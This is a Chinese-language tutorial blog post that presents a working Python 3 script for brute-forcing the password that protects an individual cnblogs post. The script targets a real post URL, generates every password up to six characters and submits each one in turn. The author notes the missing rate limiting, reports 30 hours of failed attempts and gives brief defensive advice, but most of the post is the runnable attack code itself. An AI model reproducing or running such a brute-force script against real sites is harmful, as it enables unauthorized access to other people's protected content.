python3实现暴力穷举博客园密码

 更新时间:2016年06月19日 16:43:59   作者:黑暗圣堂武士  
这篇文章主要介绍了python3实现暴力穷举博客园密码的相关资料,需要的朋友可以参考下

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

相关文章

  • 十分钟轻松掌握dataframe数据选择

    十分钟轻松掌握dataframe数据选择

    这篇文章主要介绍了十分钟轻松掌握dataframe数据选择,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-04-04
  • Python配置mysql的教程(推荐)

    Python配置mysql的教程(推荐)

    下面小编就为大家带来一篇Python配置mysql的教程(推荐)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-10-10
  • Python中的文件输入输出问题

    Python中的文件输入输出问题

    这篇文章主要介绍了Python中的文件输入输出问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2022-11-11
  • pandas DataFrame mul的具体实现

    pandas DataFrame mul的具体实现

    pandas.DataFrame.mul() 方法用于执行逐元素的乘法操作,本文主要介绍了pandas DataFrame mul的具体实现,具有一定的参考价值,感兴趣的可以了解一下
    2025-04-04
  • Python程序设计入门(2)变量类型简介

    Python程序设计入门(2)变量类型简介

    这篇文章主要介绍了Python变量类型,需要的朋友可以参考下
    2014-06-06
  • python str字符串转uuid实例

    python str字符串转uuid实例

    这篇文章主要介绍了python str字符串转uuid实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-03-03
  • Django url反向解析的实现

    Django url反向解析的实现

    本文主要介绍了Django url反向解析的实现,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-12-12
  • 利用Python实现在PDF文档中插入文字水印

    利用Python实现在PDF文档中插入文字水印

    在传播PDF文档的过程中,如何有效地保护文档的版权和所有权,防止非法复制和滥用,成为了一个不可忽视的问题,所以给PDF文档添加水印便成了一种行之有效的保护手,本文将展示如何使用Python在PDF文档中插入文字水印,实现高效的PDF文档处理,需要的朋友可以参考下
    2024-04-04
  • pytorch 搭建神经网路的实现

    pytorch 搭建神经网路的实现

    这篇文章主要介绍了pytorch 搭建神经网路,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-08-08
  • Python如何实现大型数组运算(使用NumPy)

    Python如何实现大型数组运算(使用NumPy)

    这篇文章主要介绍了Python如何实现大型数组运算,文中讲解非常细致,帮助大家更好的了解和学习,感兴趣的朋友可以了解下
    2020-07-07

最新评论